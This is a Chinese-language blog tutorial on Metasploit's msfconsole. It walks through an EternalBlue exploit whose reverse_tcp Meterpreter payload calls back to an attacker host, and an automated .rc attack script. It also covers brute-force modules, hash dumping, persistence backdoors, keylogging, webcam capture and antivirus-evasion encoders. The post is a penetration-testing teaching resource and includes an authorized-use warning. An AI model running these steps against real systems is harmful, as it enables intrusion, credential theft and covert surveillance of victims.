黑客msfconsole渗透工具超详细使用说明

Metasploit Framework的msfconsole是一个功能强大的渗透测试框架，核心在于其模块化结构。你可以通过组合不同的模块，构建完整的测试流程。下表概述了其核心模块类型及典型用途：

模块类型

主要功能

典型应用场景举例

常用命令/关键词

辅助模块 (Auxiliary)

信息收集、扫描、拒绝服务攻击等。

端口扫描、服务指纹识别、弱口令爆破。

auxiliary/scanner/

渗透攻击模块 (Exploit)

利用特定漏洞获得目标系统初始访问权限。

攻击已知漏洞的Samba、VSFTPD服务。

exploit/

攻击载荷 (Payload)

在成功渗透后，在目标系统上运行的代码。

获取反向Shell(reverse_tcp)、Meterpreter高级控制。

set payload

编码器 (Encoder)

对攻击载荷进行编码，以绕过杀毒软件（AV）检测。

在生成木马文件前对载荷进行多重编码。

msfvenom -e

后渗透模块 (Post)

在已控制目标后，进行信息收集、权限提升、内网移动等。

检查是否为虚拟机、获取密码哈希、安装后门。

post/

Metasploit Framework（简称 MSF）是业界最著名的开源渗透测试平台之一，由 Rapid7 维护。msfconsole 是其命令行交互式界面，功能强大、模块丰富，广泛用于漏洞利用、后渗透、信息收集等任务。

以下是对 msfconsole 的超详细使用说明，包括核心概念、常用命令、各功能模块详解及实战示例。

一、基本概念

1. Metasploit 模块类型

  • Exploit（漏洞利用模块）：利用目标系统中的漏洞执行代码。
  • Payload（载荷）：在成功利用后执行的代码，如反弹 shell、Meterpreter 等。
  • Auxiliary（辅助模块）：用于扫描、枚举、DoS、嗅探等非直接攻击任务。
  • Post（后渗透模块）：在获得会话后执行的提权、信息收集、持久化等操作。
  • Encoder（编码器）：对 payload 进行编码以绕过 AV/IDS。
  • NOP（空指令生成器）：用于堆栈溢出等场景。
  • Evasion（规避模块）：生成可绕过杀毒软件的恶意文件（较新版本支持）。

二、启动 msfconsole

bash

编辑

msfconsole

首次启动会加载数据库（建议配置 PostgreSQL 以启用数据库功能）。

三、常用全局命令（在 msfconsole 中）

表格

命令

功能

help 或 ?

显示帮助

show exploits

列出所有 exploit 模块

show auxiliary

列出辅助模块

show payloads

列出可用 payload

show options

显示当前模块所需参数

use <module>

加载指定模块（如 use exploit/windows/smb/ms17_010_eternalblue）

set <OPTION> <VALUE>

设置模块参数

unset <OPTION>

取消设置

setg <OPTION> <VALUE>

全局设置（所有模块共享）

getg

查看全局变量

info <module>

查看模块详细信息

search <keyword>

搜索模块（支持 CVE、平台、类型等）

jobs

查看后台任务

sessions

查看已建立的会话

exit / quit

退出

四、核心模块详解

1. Exploit 模块使用流程

示例：利用 EternalBlue (MS17-010)

bash

编辑

msf6 > search ms17_010

 

# 选择 exploit

msf6 > use exploit/windows/smb/ms17_010_eternalblue

 

# 查看选项

msf6 > show options

 

# 设置必要参数

msf6 > set RHOSTS 192.168.1.100

msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp

msf6 > set LHOST 192.168.1.50

msf6 > set LPORT 4444

 

# 执行攻击

msf6 > exploit

成功后将获得一个 Meterpreter 会话。

2. Payload 类型说明

  • Staged vs Stageless
    • Staged（分阶段）：先传小 stub，再下载完整 payload（如 windows/meterpreter/reverse_tcp）
    • Stageless（无阶段）：一次性传输完整 payload（如 windows/x64/meterpreter_reverse_tcp）
  • 常见 Payload
    • cmd/unix/reverse_netcat：简单反向 shell（Unix）
    • windows/shell/reverse_tcp：Windows 命令行 shell
    • windows/meterpreter/reverse_https：加密通信的高级后渗透 shell

3. Auxiliary（辅助）模块

用于信息收集或漏洞探测，不直接执行 payload。

示例：SMB 版本扫描

bash

编辑

msf6 > use auxiliary/scanner/smb/smb_version

msf6 > set RHOSTS 192.168.1.0/24

msf6 > run

其他常用辅助模块：

  • scanner/portscan/tcp：TCP 端口扫描
  • scanner/http/dir_scanner：目录爆破
  • scanner/ssh/ssh_login：SSH 暴力破解
  • admin/http/tomcat_administration：Tomcat 后台爆破

4. Post（后渗透）模块

在已有 Meterpreter 会话中使用。

bash

编辑

msf6 > sessions -i 1        # 进入会话 1

meterpreter > sysinfo       # 查看系统信息

 

# 返回 msfconsole 后运行 post 模块

msf6 > use post/windows/gather/enum_logged_on_users

msf6 > set SESSION 1

msf6 > run

常用 Post 模块：

  • post/windows/manage/enable_rdp：开启远程桌面
  • post/windows/gather/hashdump：导出 SAM 哈希
  • post/multi/recon/local_exploit_suggester：本地提权建议
  • post/windows/manage/persistence：添加持久化后门

5. Meterpreter 高级 Shell

Meterpreter 是 Metasploit 最强大的 payload，内存驻留、加密通信、可扩展。

常用 Meterpreter 命令：

表格

命令

功能

sysinfo

系统信息

getuid

当前用户

ps

进程列表

migrate <PID>

迁移到其他进程（防崩溃）

shell

获取系统 shell

download / upload

文件传输

screenshot

截图

webcam_list / webcam_snap

调用摄像头

keyscan_start / keyscan_dump

键盘记录

run post/windows/manage/migrate

自动迁移到 explorer.exe

五、数据库集成（强烈推荐）

Metasploit 支持 PostgreSQL 数据库存储扫描结果、主机信息等。

初始化数据库（Kali Linux 默认已配置）：

bash

编辑

sudo systemctl start postgresql

sudo msfdb init

在 msfconsole 中验证：

bash

编辑

msf6 > db_status

[*] Connected to msf

导入 Nmap 扫描结果：

bash

编辑

msf6 > db_import /path/to/scan.xml

msf6 > hosts

msf6 > services

六、资源脚本（自动化）

可编写 .rc 脚本实现自动化渗透。

example.rc:

rc

编辑

use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS 192.168.1.100

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.1.50

set LPORT 4444

exploit -j

运行：

bash

编辑

msfconsole -r example.rc

七、安全与法律提醒 ⚠️

  • 仅限授权测试：未经授权的渗透测试属于违法行为。
  • 实验环境隔离：建议在虚拟机（如 VMware + NAT 网络）中练习。
  • 更新 MSF：定期运行 msfupdate 获取最新漏洞模块。

八、学习资源推荐

 

posted @ 2026-01-07 09:25  Johny_Zhao  阅读(230)  评论(0)    收藏  举报